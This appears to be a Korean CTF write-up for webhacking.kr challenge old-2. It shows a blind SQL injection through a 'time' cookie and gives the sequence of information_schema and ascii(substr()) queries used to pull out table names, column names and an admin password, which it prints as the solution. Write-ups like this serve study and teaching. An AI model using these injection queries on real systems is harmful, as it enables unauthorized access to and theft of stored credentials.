-
[webhacking.kr] Challenge(old) 2Security/web 2021. 7. 28. 02:38728x90
문제 분석
접속
https://webhacking.kr/challenge/web-02/
https://webhacking.kr/challenge/web-02/admin.php
webhacking.kr

개발자 도구

접속
https://webhacking.kr/challenge/web-02/admin.php

sql injection??


time

쿠키 값을 바꾸어보았다.

time : 1

time : 1=1

time : 1=2

blind sql injection을 하면 되겠다.
blind sql injection
1. table 갯수
select count(table_name) from information_schema.tables where table_schema=database()2
information_schema는 서버 내에 존재하는 DB의 메타정보(테이블 칼럼, 인덱스)를 모아둔 DB다.
2. table name 길이
select length(table_name) from information_schema.tables where table_schema=database() limit 0,1첫 번째 테이블의 이름의 길이 : 13
select length(table_name) from information_schema.tables where table_schema=database() limit 1,1두 번째 테이블의 이름의 길이 : 3
3. table name
select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0, 1첫 번째 테이블 : 97, 100, 109, 105, 110, 95, 97, 114, 101, 97, 95, 112, 119
두 번째 테이블 : 108, 111, 103글자로 변환하면
admin_area_pw
log
4. admin_area_pw column 갯수
select count(column_name) from information_schema.columns where table_name="admin_area_pw"1
5. column name 길이
select length(column_name) from information_schema.columns where table_name="admin_area_pw"2
6. column name
select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name="admin_area_pw"select ascii(substr(column_name, 2, 1) from information_schema.columns where table_name="admin_area_pw"pw
7. pw 길이
select length(pw) from admin_area_pw17
8. pw
select ascii(substr(pw, 1, 1)) from admin_area_pwselect ascii(substr(pw, 2, 1)) from admin_area_pwselect ascii(substr(pw, 3, 1)) from admin_area_pw...
select ascii(substr(pw, 17, 1)) from admin_area_pwkudos_to_beistlab
728x90'Security > web' 카테고리의 다른 글
[webhacking.kr] old-23 blind SQL injection (0) 2021.08.18 [webhacking.kr] Challenge(old) 4 (0) 2021.07.31 [webhacking.kr] Challenge(old) 33 (0) 2021.07.31